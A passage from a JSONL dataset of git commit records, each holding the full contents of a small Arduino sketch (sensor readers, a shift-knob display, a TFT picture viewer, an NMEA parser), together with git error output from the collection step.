temperature_pv = 0;\nint moisture_pv = 0;\n\n\/\/ Buffers\nchar output_buffer[OUTPUT_LENGTH];\nchar data_buffer[DATA_LENGTH];\nunsigned char canbus_rx_buffer[CANBUS_LENGTH]; \/\/ Buffer to store the incoming data\nunsigned char canbus_tx_buffer[CANBUS_LENGTH]; \/\/ Buffer to store the incoming data\n\n\/\/ Objects\nOneWire oneWire(TEMP_SENSOR_PIN);\nDallasTemperature ds18b20(&oneWire);\n\n\/* --- Setup --- *\/\nvoid setup() {\n\n \/\/ Initialize USB\n Serial.begin(BAUD);\n delay(10);\n\n \/\/ Initialise MCP2515 CAN controller at the specified speed\n int canbus_attempts = 0;\n while (!canbus_status) {\n canbus_status = Canbus.init(CANSPEED_500);\n delay(10);\n }\n\n \/\/ Sensors\n ds18b20.begin();\n pinMode(SENSOR_POWER_PIN, OUTPUT); \/\/ provide power to the moisture sensor\n digitalWrite(SENSOR_POWER_PIN, HIGH);\n\n \/\/ Relays\n pinMode(FAN_RELAY_PIN, OUTPUT);\n digitalWrite(FAN_RELAY_PIN, fan_off);\n\n}\n\n\/* --- Loop --- *\/\nvoid loop() {\n\n \/\/ Check Temperature Sensor and Set Cooling Fan (Dual Threshold Method)\n for (int i = 0; i < SAMPLES; i++) {\n ds18b20.requestTemperatures();\n temperature_history.add(ds18b20.getTempCByIndex(0));\n }\n temperature_pv = int(temperature_history.getAverage());\n \n \/\/ Check CANBus\n if (canbus_status) {\n\n \/\/ Check CANBUS\n unsigned int UID = Canbus.message_rx(canbus_rx_buffer); \/\/ Check to see if we have a message on the Bus\n\n \/\/ Check ODB via CAN\n if (UID != 0) {\n \/\/ Read from network\n StaticJsonBuffer<JSON_LENGTH> json_buffer;\n JsonObject& root = json_buffer.createObject();\n if (msg == GET_RESPONSE) {\n if (nt == MOISTURE_CONTROL_V1) {\n root[\"moisture\"] = canbus_rx_buffer[4];\n root[\"irrigating\"] = canbus_rx_buffer[5];\n root[\"temperature\"] = canbus_rx_buffer[6];\n root[\"cooling\"] = canbus_rx_buffer[7];\n }\n }\n }\n }\n\n \/\/ Print Data to JSON Buffer\n StaticJsonBuffer<JSON_LENGTH> json_buffer;\n JsonObject& root = json_buffer.createObject();\n root[\"temp\"] = temperature_pv;\n root.printTo(data_buffer, sizeof(data_buffer));\n int chksum = checksum(data_buffer);\n sprintf(output_buffer, \"{\\\"data\\\":%s,\\\"chksum\\\":%d}\", data_buffer, chksum);\n Serial.println(output_buffer);\n\n \/\/ Wait\n delay(UPDATE_INTERVAL);\n\n}\n\n\/* --- Functions --- *\/\n\/\/ Checksum\nint checksum(char* buf) {\n int sum = 0;\n for (int i = 0; i < DATA_LENGTH; i++) {\n sum = sum + buf[i];\n }\n return sum % 256;\n}\n\nint getFractionalPart(float value) {\n int int_part, frac_part;\n char buf[16];\n dtostrf(value, DIGITS, PRECISION, buf); \n sscanf(buf, \"%d.%d\", &int_part, &frac_part);\n return frac_part;\n}\n\nint getIntegerPart(float value) {\n int int_part, frac_part;\n char buf[16];\n dtostrf(value, DIGITS, PRECISION, buf); \n sscanf(buf, \"%d.%d\", &int_part, &frac_part);\n return int_part;\n}\n\nfloat getMoistureContent(int pin) {\n int v = analogRead(pin);\n float mc = (float)(v - volts_a) * (moisture_b - moisture_a) \/ (float)(volts_b - volts_a) + moisture_a;\n return mc;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/examples\/offroad\/offroad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fe27b569e7450692e28716ca70b26951941d871a","subject":"Time fix to 200 milliseconds.","message":"Time fix to 200 milliseconds.\n","repos":"ingeniarius-ltd\/robotcraft_2017","old_file":"hercules_robot_serial_bridge\/examples\/test_bridge\/test_bridge.ino","new_file":"hercules_robot_serial_bridge\/examples\/test_bridge\/test_bridge.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ingeniarius-ltd\/robotcraft_2017.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"5672cea80d684d2d1663dc72b10e89fd5fa2f0c0","subject":"Initial version of ACRemote sensor\/controller","message":"Initial version of ACRemote sensor\/controller\n","repos":"mhdawson\/arduino-sensors,mhdawson\/arduino-sensors","old_file":"ACRemote\/ACRemote.ino","new_file":"ACRemote\/ACRemote.ino","new_contents":"\n\/\/ Copyright 2014-2015 the project authors as listed in the AUTHORS file.\n\/\/ All rights reserved. Use of this source code is governed by the\n\/\/ license that can be found in the LICENSE file.\n\n#include \"IRSend2262.h\"\n#include \"Device2262n.h\"\n#include \"PI433.h\"\n#include \"ArduinoTHSensor.h\"\n#include \"ArduinoLightSensor.h\"\n\n#define IR_CHECK_INTERVAL 500\n#define SEND_INTERVAL_MULTIPLIER 240\n\n#define RX_433_PIN 2\n#define TX_433_PIN 4\n\n#define TH_SENSOR_DEVICE_ID 0x30\n#define DHT_PIN 5 \n#define DHT_TYPE DHT11\n\n#define IR_TX_PIN 3\n\n#define LIGHT_SENSOR_DEVICE_ID 0x40\n#define PHOTOCELL_PIN 0\n\nPI433 receiver(RX_433_PIN);\nArduinoTHSensor arduinoTHSensor(TH_SENSOR_DEVICE_ID, DHT_PIN, DHT_TYPE, TX_433_PIN);\nIRSend2262 irMessageTransmitter(IR_TX_PIN);\nArduinoLightSensor arduinoLightSensor(LIGHT_SENSOR_DEVICE_ID, PHOTOCELL_PIN, TX_433_PIN);\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"Started\\n\");\n\n Device2262n* device2262 = new Device2262n(350,50,4);\n device2262->registerMessageHandler(&irMessageTransmitter);\n receiver.registerDevice(device2262);\n}\n\n\/\/ the loop function runs over and over again forever\nint counter = 0;\nvoid loop() {\n if (counter == SEND_INTERVAL_MULTIPLIER) {\n \/\/ reading the temperature takes some time so in this case\n \/\/ no need to delay\n arduinoTHSensor.sendMessage();\n arduinoLightSensor.sendLightReading();\n counter = 0;\n } else {\n delay(IR_CHECK_INTERVAL);\n }\n receiver.handleMessage();\n counter++;\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ACRemote\/ACRemote.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d85a3d1e358eab83f4d676cdcecded1428ba49f3","subject":"initial commit of firmware for V02 PCB.","message":"initial commit of firmware for V02 PCB.\n","repos":"openxc\/shiftknob-android","old_file":"arduinoTest\/PCB_V02\/PCB_V02.ino","new_file":"arduinoTest\/PCB_V02\/PCB_V02.ino","new_contents":" \/*\n-------------------------------------------------\n| Zachary Nelson\n| znelson1@ford.com\n| \n| **To be used with Shift Knob PCBs**\n|\n| Test communication over USB with Android host \n| to read in and display current gear.\n|\n| Using a 74hc595 shift register and a\n| 7-sement display to display the numbers 0 - 9. It\n| is used to test future implementations of the \n| display control.\n---------------------------------------------------\n*\/\n\n\/\/ 0bEDC*BAFG\n\/\/7segment digits.\nconst byte all_digits[10] = {\n 0b11111110,0b11010111,0b00110010,0b10010010, \/\/-,1,2,3\n 0b11010100,0b10011000,0b00011100,0b11010011, \/\/4,5,6,7\n 0b00010000,0b10010000}; \/\/8,9\n\nconst byte circle[6] = {\n 0b00010101,0b00011001,0b00110001,0b01010001,\n 0b10010001,0b00010011}; \n \nint digit0 = 0b10001000;\nint digit1 = 0b11101110;\nint digit2 = 0b10010100;\nint digit3 = 0b11000100;\nint digit4 = 0b11100010;\nint digit5 = 0b11000001;\nint digit6 = 0b10000011;\nint digit7 = 0b11101100;\nint digit8 = 0b10000000;\nint digit9 = 0b11100000;\nint digitN = 0b11110111; \/\/ \"-\" used for nuetral\n\/\/ if you want to add in the decimal point simply subtract 0b10000000 from each number\n\n\/\/Pin connected to ST_CP of 74HC595\nint latchPin = 7;\n\/\/Pin connected to SH_CP of 74HC595\nint clockPin = 8;\n\/\/\/\/Pin connected to DS of 74HC595\nint dataPin = 4;\n\nint motorPin = 5;\nlong motor_on = 200; \/\/number of milliseconds the motor vibrates\nlong motor_off = 100; \/\/pause between pulses\n\nint buttonPin = 2;\n\nint redLED = 9; \/\/pwm\nint blueLED = 10; \/\/pwm\nint greenLED = 11; \/\/pwm\nint digitLED = 6;\n\nString inputString = \"\";\nboolean stringComplete = false;\nboolean USB_connected = false;\nunsigned long time = 0;\n\nint motorCount = 2;\nint motorPulse = 2;\nvolatile int motorState = LOW;\nboolean motorCommand = false;\n\nvoid setup() {\n \/\/set pins to output so you can control the shift register\n pinMode(latchPin, OUTPUT);\n pinMode(clockPin, OUTPUT);\n pinMode(dataPin, OUTPUT);\n pinMode(motorPin, OUTPUT);\n \n pinMode(redLED, OUTPUT);\n pinMode(blueLED, OUTPUT);\n pinMode(greenLED, OUTPUT);\n pinMode(digitLED, OUTPUT);\n \n digitalWrite(digitLED, LOW);\n \n analogWrite(blueLED, 100);\n analogWrite(redLED, 100);\n analogWrite(greenLED, 100);\n \n Serial.begin(115200);\n}\n\nvoid loop() {\n \n \/\/handle motor control\n if (motorState == HIGH && (millis() - time) >= motor_on && motorCommand) {\n motorState = LOW;\n digitalWrite(motorPin, motorState);\n time = millis();\n }\n \n if (motorState == LOW && (millis() - time) >= motor_off \n && motorPulse > 0 && motorCommand) {\n motorState = HIGH;\n digitalWrite(motorPin, motorState);\n motorPulse -= 1;\n time = millis();\n \n if (motorPulse <= 0) {\n motorCommand = false;\n }\n }\n \n if (millis()-time >= motor_on && !motorCommand) {\n motorState = LOW;\n digitalWrite(motorPin, motorState);\n motorPulse = motorCount;\n }\n \n if (!USB_connected) {\n for (int c = 0; c < 6; c++) {\n sendDigit(circle[c]);\n delay(50);\n }\n }\n \n if (stringComplete) {\n int index = inputString.length()-2;\n \n if (inputString[inputString.length()-1] == '>') {\n int gear_pos = (inputString[index] - '0');\n sendDigit(all_digits[gear_pos]);\n }\n \n if (inputString[inputString.length()-1] == ']') {\n motorState = HIGH;\n motorCommand = true;\n digitalWrite(motorPin, motorState);\n motorPulse -= 1;\n time = millis();\n }\n \n if (inputString[inputString.length()-1] == ')') {\n int LED_value = 0;\n int scale = 1;\n for (int i = inputString.length()-2; i > 0; i--) {\n LED_value += (inputString[i] - '0')*scale;\n scale *= 10;\n }\n \n if (LED_value >= 0 && LED_value <= 85) {\n analogWrite(redLED, -1*LED_value*255\/85+255);\n analogWrite(greenLED, LED_value*255\/85);\n analogWrite(blueLED, 0);\n }\n \n if (LED_value > 85 && LED_value <= 170) {\n analogWrite(greenLED, -1*(LED_value-85)*255\/85+255);\n analogWrite(blueLED, (LED_value-85)*255\/85);\n analogWrite(redLED, 0);\n }\n \n if (LED_value > 170 && LED_value <= 255) {\n analogWrite(blueLED, -1*(LED_value-170)*255\/85+255);\n analogWrite(redLED, (LED_value-170)*255\/85);\n analogWrite(greenLED, 0);\n } \n }\n \n inputString = \"\";\n stringComplete = false;\n }\n}\n\nvoid sendDigit(int i){\n \/\/ take the latchPin low so \n \/\/ the LEDs don't change while you're sending in bits:\n digitalWrite(latchPin, LOW);\n \/\/ shift out the bits:\n shiftOut(dataPin, clockPin, LSBFIRST, i); \n \/\/take the latch pin high so the LEDs will light up:\n digitalWrite(latchPin, HIGH);\n}\n\nvoid serialEvent() {\n USB_connected = true;\n while (Serial.available()) {\n char inChar = (char)Serial.read();\n inputString += inChar;\n if (inChar == '>' || inChar == ']' || inChar == ')') {\n stringComplete = true;\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinoTest\/PCB_V02\/PCB_V02.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"a65f1876595ff30bfe59469c57003c2906f38217","subject":"V1.0 Initial Release","message":"V1.0 Initial Release","repos":"Grommet123\/PictureViewer,Grommet123\/PictureViewer","old_file":"PictureViewer.ino","new_file":"PictureViewer.ino","new_contents":"\/* Picture Viewer\n\n By GK Grotsky\n 8\/14\/16\n Version 1.0\n*\/\n#include \"PictureViewer.h\"\n#include <Adafruit_GFX.h> \/\/ Core graphics library\n#include <Adafruit_ST7735.h> \/\/ Hardware-specific library\n\nAdafruit_ST7735 tft = Adafruit_ST7735(TFT_CS, TFT_DC, TFT_RST);\n\nint numberOfFiles = 0;\nint pastMode = HIGH;\nboolean SD_OK = false;\n\n\/\/ The setup (runs once at start up)\nvoid setup(void) {\n File root, entry;\n\n pinMode(MODE_PIN, INPUT);\n Serial.begin(9600);\n tft.initR(INITR_BLACKTAB);\n\n \/\/ Initialize the SD card\n Serial.print(\"Initializing SD card...\");\n if (!SD.begin(SD_CS)) {\n Serial.println(\"failed!\");\n SD_OK = false;\n displaySplashScreen();\n return;\n }\n Serial.println(\"OK!\");\n SD_OK = true;\n\n \/\/ Count the number of files on the SD card\n root = SD.open(\"\/\");\n while (true) {\n entry = root.openNextFile();\n if (!entry) {\n \/\/ no more files\n break;\n }\n \/\/ Do not count any non-picxx.bmp files\n if ((strncmp(entry.name(), \"PIC\", 3) == 0)) numberOfFiles++;\n entry.close();\n }\n root.close();\n\n \/\/ Print # of files\n Serial.print(\"Number of files = \");\n Serial.println(numberOfFiles);\n Serial.print(\"Mode = \");\n Serial.println((digitalRead(MODE_PIN)) ? \"Random\" : \"Sequential\");\n Serial.println();\n\n tft.setRotation(0); \/\/ Portrait\n\n \/\/ Seed random number generator\n randomSeed(analogRead(A0));\n\n \/\/ Display splash screen\n#ifdef DRAW_ALL\n displaySplashScreen();\n#else\n numberOfFiles = 1;\n displaySplashScreen(Test);\n#endif\n pastMode = digitalRead(MODE_PIN);\n}\n\n\/\/ The loop (runs forever)\nvoid loop() {\n\n char fileName[] = \"pic\";\n char randomNumberChar[] = \" \";\n char listNumberChar[] = \" \";\n static long lastRandomNumber = 0;\n static int fileNumber = 1;\n\n#ifdef DRAW_ALL \/\/ Used for debugging\n \/\/ Check if the mode switch has changed\n if (digitalRead(MODE_PIN) != pastMode) {\n Serial.print(\"Mode = \");\n Serial.println((digitalRead(MODE_PIN)) ? \"Random\" : \"Sequential\");\n Serial.println();\n \/\/ Display splash screen\n displaySplashScreen();\n pastMode = digitalRead(MODE_PIN);\n }\n \/\/ Check fo mode\n if (digitalRead(MODE_PIN) == HIGH) {\n \/\/ Random was selected, get random number\n long randNumber = random(1, numberOfFiles + 1);\n \/\/ If random number repeats, try again\n while (randNumber == lastRandomNumber) {\n randNumber = random(1, numberOfFiles + 1);\n }\n lastRandomNumber = randNumber;\n \/\/ Convert it to a string\n sprintf(randomNumberChar, \"%d\", randNumber);\n strncat(fileName, randomNumberChar, 3);\n strncat(fileName, \".bmp\", 4);\n if (bmpDraw(fileName, 0, 0)) {\n delay(DELAY_TIME);\n fileNumber = 1;\n }\n }\n \/\/ Sequential was selected, dislpay files from begining to end\n else {\n \/\/ Convert list of files to a string\n sprintf(listNumberChar, \"%d\", fileNumber);\n strncat(fileName, listNumberChar, 3);\n strncat(fileName, \".bmp\", 4);\n if (bmpDraw(fileName, 0, 0)) delay(DELAY_TIME);\n fileNumber++;\n if (fileNumber > numberOfFiles) fileNumber = 1;\n }\n#else \/\/ Uesd to debug a bmp file\n if (bmpDraw(TESTPICTURE, 0, 0)) delay(DELAY_TIME);\n#endif\n}\n\n#define BUFFPIXEL 20\n\nboolean bmpDraw(char *filename, uint8_t x, uint8_t y) {\n\n File bmpFile;\n int bmpWidth, bmpHeight; \/\/ W+H in pixels\n uint8_t bmpDepth; \/\/ Bit depth (currently must be 24)\n uint32_t bmpImageoffset; \/\/ Start of image data in file\n uint32_t rowSize; \/\/ Not always = bmpWidth; may have padding\n uint8_t sdbuffer[3 * BUFFPIXEL]; \/\/ pixel buffer (R+G+B per pixel)\n uint8_t buffidx = sizeof(sdbuffer); \/\/ Current position in sdbuffer\n boolean goodBmp = false; \/\/ Set to true on valid header parse\n boolean flip = true; \/\/ BMP is stored bottom-to-top\n int w, h, row, col;\n uint8_t r, g, b;\n uint32_t pos = 0, startTime = millis();\n\n if ((x >= tft.width()) || (y >= tft.height())) return;\n\n Serial.println();\n Serial.print(\"Loading image '\");\n Serial.print(filename);\n Serial.println('\\'');\n\n \/\/ Open requested file on SD card\n if ((bmpFile = SD.open(filename)) == NULL) {\n Serial.print(\"File not found\");\n displayFileName(filename, false);\n return (false);\n }\n displayFileName(filename);\n\n \/\/ Parse BMP header\n if (read16(bmpFile) == 0x4D42) { \/\/ BMP signature\n Serial.print(\"File size: \");\n Serial.println(read32(bmpFile));\n (void)read32(bmpFile); \/\/ Read & ignore creator bytes\n bmpImageoffset = read32(bmpFile); \/\/ Start of image data\n Serial.print(\"Image Offset: \");\n Serial.println(bmpImageoffset, DEC);\n \/\/ Read DIB header\n Serial.print(\"Header size: \");\n Serial.println(read32(bmpFile));\n bmpWidth = read32(bmpFile);\n bmpHeight = read32(bmpFile);\n if (read16(bmpFile) == 1) { \/\/ # planes -- must be '1'\n bmpDepth = read16(bmpFile); \/\/ bits per pixel\n Serial.print(\"Bit Depth: \");\n Serial.println(bmpDepth);\n if ((bmpDepth == 24) && (read32(bmpFile) == 0)) { \/\/ 0 = uncompressed\n\n goodBmp = true; \/\/ Supported BMP format -- proceed!\n Serial.print(\"Image size: \");\n Serial.print(bmpWidth);\n Serial.print('x');\n Serial.println(bmpHeight);\n\n \/\/ BMP rows are padded (if needed) to 4-byte boundary\n rowSize = (bmpWidth * 3 + 3) & ~3;\n\n \/\/ If bmpHeight is negative, image is in top-down order.\n \/\/ This is not canon but has been observed in the wild.\n if (bmpHeight < 0) {\n bmpHeight = -bmpHeight;\n flip = false;\n }\n\n \/\/ Crop area to be loaded\n w = bmpWidth;\n h = bmpHeight;\n if ((x + w - 1) >= tft.width()) w = tft.width() - x;\n if ((y + h - 1) >= tft.height()) h = tft.height() - y;\n\n \/\/ Set TFT address window to clipped image bounds\n tft.setAddrWindow(x, y, x + w - 1, y + h - 1);\n\n for (row = 0; row < h; row++) { \/\/ For each scanline...\n\n \/\/ Seek to start of scan line. It might seem labor-\n \/\/ intensive to be doing this on every line, but this\n \/\/ method covers a lot of gritty details like cropping\n \/\/ and scanline padding. Also, the seek only takes\n \/\/ place if the file position actually needs to change\n \/\/ (avoids a lot of cluster math in SD library).\n if (flip) \/\/ Bitmap is stored bottom-to-top order (normal BMP)\n pos = bmpImageoffset + (bmpHeight - 1 - row) * rowSize;\n else \/\/ Bitmap is stored top-to-bottom\n pos = bmpImageoffset + row * rowSize;\n if (bmpFile.position() != pos) { \/\/ Need seek?\n bmpFile.seek(pos);\n buffidx = sizeof(sdbuffer); \/\/ Force buffer reload\n }\n\n for (col = 0; col < w; col++) { \/\/ For each pixel...\n \/\/ Time to read more pixel data?\n if (buffidx >= sizeof(sdbuffer)) { \/\/ Indeed\n bmpFile.read(sdbuffer, sizeof(sdbuffer));\n buffidx = 0; \/\/ Set index to beginning\n }\n\n \/\/ Convert pixel from BMP to TFT format, push to display\n b = sdbuffer[buffidx++];\n g = sdbuffer[buffidx++];\n r = sdbuffer[buffidx++];\n tft.pushColor(tft.Color565(r, g, b));\n } \/\/ end pixel\n } \/\/ end scanline\n Serial.print(\"Loaded in \");\n Serial.print(millis() - startTime);\n Serial.println(\" ms\");\n } \/\/ end goodBmp\n }\n }\n\n bmpFile.close();\n if (!goodBmp) {\n Serial.println(\"BMP format not recognized.\");\n return (false);\n }\n return (true);\n}\n\n\/\/ These read 16- and 32-bit types from the SD card file.\n\/\/ BMP data is stored little-endian, Arduino is little-endian too.\n\/\/ May need to reverse subscript order if porting elsewhere.\n\nuint16_t read16(File f) {\n uint16_t result;\n ((uint8_t *)&result)[0] = f.read(); \/\/ LSB\n ((uint8_t *)&result)[1] = f.read(); \/\/ MSB\n return result;\n}\n\nuint32_t read32(File f) {\n uint32_t result;\n ((uint8_t *)&result)[0] = f.read(); \/\/ LSB\n ((uint8_t *)&result)[1] = f.read();\n ((uint8_t *)&result)[2] = f.read();\n ((uint8_t *)&result)[3] = f.read(); \/\/ MSB\n return result;\n}\n\n\/\/ Displays the splach screen\nvoid displaySplashScreen(displayModeEnum displayMode) {\n tft.setTextWrap(false);\n tft.fillScreen(ST7735_BLACK);\n tft.setCursor(0, 5);\n tft.setTextColor(ST7735_RED);\n tft.setTextSize(2);\n tft.println(\"Picture\");\n tft.setCursor(15, 20);\n tft.println(\"Viewer\");\n tft.println(\"\");\n tft.setTextColor(ST7735_BLUE);\n tft.println(\"GK Grotsky\");\n tft.println(\"\");\n tft.setTextColor(ST7735_GREEN);\n tft.println(\"Mode:\");\n if (displayMode == NonTest) {\n tft.println((digitalRead(MODE_PIN)) ? \"Random\" : \"Sequential\");\n }\n else {\n tft.println(\"Test\");\n }\n tft.setTextColor(ST7735_CYAN);\n tft.setTextSize(1);\n if (SD_OK) {\n tft.setCursor(30, 140);\n tft.print(\"# of files \");\n tft.println(numberOfFiles);\n tft.setCursor(30, 150);\n tft.println(\"SD Card OK\");\n }\n else {\n tft.setCursor(30, 150);\n tft.println(\"SD Card Fail\");\n }\n delay(10000);\n}\n\n\/\/ Displays the file name\nvoid displayFileName(char *fileName, boolean fileFound) {\n static long lastRandomNumber;\n long randomColor;\n unsigned int textColor[] = {\n ST7735_BLUE,\n ST7735_RED,\n ST7735_GREEN,\n ST7735_CYAN,\n ST7735_MAGENTA,\n ST7735_YELLOW,\n ST7735_WHITE\n };\n\n char colorType [][8] = {\n \"Blue\",\n \"Red\",\n \"Green\",\n \"Cyan\",\n \"Magenta\",\n \"Yellow\",\n \"White\"\n };\n\n randomColor = random(0, 7);\n \/\/ If random number repeats, try again\n while (randomColor == lastRandomNumber) {\n randomColor = random(0, 7);\n }\n lastRandomNumber = randomColor;\n tft.setTextWrap(false);\n tft.fillScreen(ST7735_BLACK);\n tft.setCursor(0, 50);\n tft.setTextColor(textColor[randomColor]);\n tft.setTextSize(2);\n tft.println(\"File Name:\");\n tft.setCursor(10, 80);\n tft.println(fileName);\n tft.setCursor(15, 120);\n if (!fileFound) {\n tft.setTextSize(1);\n tft.println(\"File not found\");\n }\n tft.setCursor(75, 150);\n tft.setTextSize(1);\n tft.println(colorType[randomColor]);\n delay(3000);\n tft.fillScreen(ST7735_BLACK);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PictureViewer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f1e3670f051e177f016f3a4c436135be5d8c060c","subject":"Secure server connection","message":"Secure server connection\n\nSecure server connection to recieve congig commands and device registration\n","repos":"jadalqui\/ha_arduino,jadalqui\/ha_arduino","old_file":"ha_esp32\/ha_esp32.ino","new_file":"ha_esp32\/ha_esp32.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jadalqui\/ha_arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0d7d90e7932d6f39d95399fb841ba6935844a188","subject":"rubbish, not needed","message":"rubbish, not needed\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"7c00d561566f1d1686fe79c89827cde642d3f4de","subject":"NFC Reader","message":"NFC Reader\n\nCode voor NFC Shield\n","repos":"DrTrust\/ftg-main,DrTrust\/ftg-main,DrTrust\/ftg-main,DrTrust\/ftg-main","old_file":"Arduino\/ReadNfcUid.ino","new_file":"Arduino\/ReadNfcUid.ino","new_contents":"#include <SPI.h>\n#include \"PN532_SPI.h\"\n#include \"PN532.h\"\n#include \"NfcAdapter.h\"\n\nPN532_SPI interface(SPI, 10);\nNfcAdapter nfc = NfcAdapter(interface);\n\nvoid ReadNfcUid()\n{\n nfc.begin();\n\n if (nfc.tagPresent())\n {\n NfcTag tag = nfc.read();\n String UID = tag.getUidString();\n \n RETURNNFCTAG(UID);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/ReadNfcUid.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e1447286fb3ef10435f63d95d08b9a9e636b92bd","subject":"Started code","message":"Started code\n","repos":"sww1235\/bike-headlamp","old_file":"src\/main.ino","new_file":"src\/main.ino","new_contents":"\/*\nThis code takes input from two pushbuttons and i2c serial communications, and\noutputs a PWM squarewave to control two LED MINIPUCK constant current drivers.\n\nthis board is primarily a slave device on i2c and will accept control signals\nfrom an i2c master. In addition, it can respond to the master with certain\nvalues\n\nThis code is written for a destination board of a digispark V4. Hence pin\nreferences and other libraries may be used in a unusual manner from normal\narduino coding .\n*\/\n\n#include <wire.h>\n\nconst byte frontLED 1 \/\/digital pin 1 (PWM) - Output\nconst byte backLED 4 \/\/digital pin 4 (PWM) - Output\nconst byte frontSwitch 3 \/\/digital pin 3 - Input\nconst byte backSwitch 5 \/\/digital pin 5 - Input\nconst byte slaveAddress 8\n\/\/SDA = pin D0\n\/\/SCL = pin D2\n\nint frontLEDpulse = 0;\nint backLEDpulse = 0;\n\n\nvoid setup() {\n pinMode(frontLED, OUTPUT);\n pinMode(backLED, OUTPUT);\n pinMode(frontSwitch, INPUT);\n digitalWrite(frontSwitch, HIGH); \/\/turn on internal pullup resistor\n wire.begin(slaveAddress);\n wire.onReceive(receiveEvent);\n}\n\nvoid loop() {\n\n}\n\nvoid receiveEvent(int quantity){\n frontLEDpulse = wire.read()\n backLEDpulse = wire.read()\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6aac590df92cf3d70a374579a877814078f92db0","subject":"initially added","message":"initially added\n","repos":"iam-ictm\/redcat-uartpilot,iam-ictm\/redcat-uartpilot","old_file":"test_parser\/test_parser.ino","new_file":"test_parser\/test_parser.ino","new_contents":"\/*\n * Copyright (C) 2017 BFH - Bern University of Applied Sciences, http:\/\/bfh.ch\n * Author: Pascal Mainini <pascal.mainini@bfh.ch>\n *\n * Licensed under MIT license, see included file LICENSE or\n * http:\/\/opensource.org\/licenses\/MIT\n *\n * Implementation for parsing the NMEA-0183 based data emitted by uartpilot.\n *\/\n\n#include <stdlib.h>\n\n\/\/ variables used for parsing\nchar data[83]; \/\/ NMEA-0183 + NULL byte\nint msg_max = sizeof(data) - 2; \/\/ need two bytes for checksum\nbyte parity = 0;\nint offset = -1;\nint checksum_offset = -1;\n\n\/\/ results of parsing\nboolean checksum_correct = false;\nString msg;\n\n\/**\n * Parses a message starting with $ and ending with *. The two characters\n * after * are interpreted as checksum (bitwise XOR of the message).\n * @param c the character to parse\n * @return length of the message between $ and * or -1 if not yet done\n *\/\nint parse(char c) {\n switch (c)\n {\n \/\/ start of message\n case '$':\n parity = 0;\n offset = 0;\n checksum_offset = -1;\n break;\n\n \/\/ start of checksum\n case '*':\n if (offset >= 0 && offset < msg_max) checksum_offset = offset;\n break;\n\n \/\/ EOL\n case '\\r': break;\n case '\\n': break;\n\n \/\/ all data (including checksum)\n default:\n if (offset >= 0 && offset < msg_max) {\n \/\/ append data and checksum (two bytes)\n if (checksum_offset < 0 || offset < checksum_offset + 2) data[offset++] = c;\n\n \/\/ only calculate parity if not part of checksum\n if (checksum_offset < 0) parity ^= c;\n }\n\n \/\/ message complete, calculate checksum and return\n if (checksum_offset > 0 && offset >= checksum_offset + 2) {\n data[offset] = 0;\n offset = -1;\n msg = String(data).substring(0, checksum_offset);\n checksum_correct = parity == strtol(&data[checksum_offset], NULL, 16) ? true : false;\n return checksum_offset;\n }\n\n break;\n }\n return -1;\n}\n\n\/**\n * Serial debug output of a received message\n * @param msg_len length of the message\n *\/\nvoid debugMsg(int msg_len) {\n Serial.print(\"Got msg: '\");\n Serial.print(msg);\n Serial.print(\"' (len: \");\n Serial.print(msg_len);\n Serial.print(\"), \");\n Serial.print(\"checksum: '\");\n Serial.print(&data[msg_len]);\n Serial.print(\"' (calculated: \");\n Serial.print(parity, HEX);\n if (checksum_correct) Serial.print(\", CORRECT)\\n\");\n else Serial.print(\", WRONG)\\n\");\n}\n\n\/**\n * Standard arduino setup(), initialize things\n *\/\nvoid setup() {\n Serial.begin(115200);\n Serial1.begin(115200);\n}\n\n\/**\n * Standard arduino main loop()\n *\/\nvoid loop() {\n int msg_len = -1;\n\n while (Serial1.available()) {\n msg_len = parse(Serial1.read());\n }\n\n if (msg_len > 0)\n debugMsg(msg_len);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test_parser\/test_parser.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c00bbd2b902be39cb8c800f35531558e8fa7e2fe","subject":"Add Failing arduino test","message":"Add Failing arduino 